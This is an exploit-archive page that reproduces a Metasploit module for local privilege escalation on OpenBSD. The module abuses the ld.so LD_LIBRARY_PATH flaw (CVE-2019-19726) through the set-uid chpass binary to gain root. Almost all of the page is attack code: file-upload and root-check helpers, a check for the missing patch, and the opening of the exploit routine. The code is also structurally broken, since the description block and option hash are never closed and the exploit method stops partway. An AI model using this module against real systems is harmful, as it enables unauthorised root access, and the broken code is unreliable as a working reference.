Exploits / Vulnerability Discovered : 2019-12-30 |
Type : local |
Platform : openbsd
This exploit / vulnerability Openbsd dynamic loader chpass privilege escalation (metasploit) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenBSD Dynamic Loader chpass Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in the OpenBSD `ld.so`
dynamic loader (CVE-2019-19726).
The `_dl_getenv()` function fails to reset the `LD_LIBRARY_PATH`
environment variable when set with approximately `ARG_MAX` colons.
This can be abused to load `libutil.so` from an untrusted path,
using `LD_LIBRARY_PATH` in combination with the `chpass` set-uid
executable, resulting in privileged code execution.
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end
def is_root?
(cmd_exec('id -u').to_s.gsub(/[^\d]/, '') == '0')
end
def libutil_name
return unless command_exists? 'readelf'
cmd_exec('readelf -a /usr/sbin/pwd_mkdb').to_s.scan(/\[(libutil\.so\.[\d\.]+)\]/).flatten.first
end
def check
patches = cmd_exec('syspatch -l').to_s
patch = '013_ldso'
if patches.include? patch
vprint_error "Patch #{patch} has been installed. Target is not vulnerable."
return CheckCode::Safe
end
vprint_good "Patch #{patch} is not present"
unless command_exists? 'cc'
vprint_error 'cc is not installed'
return CheckCode::Safe
end
print_good 'cc is installed'
CheckCode::Detected
end
def exploit
unless check == CheckCode::Detected
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end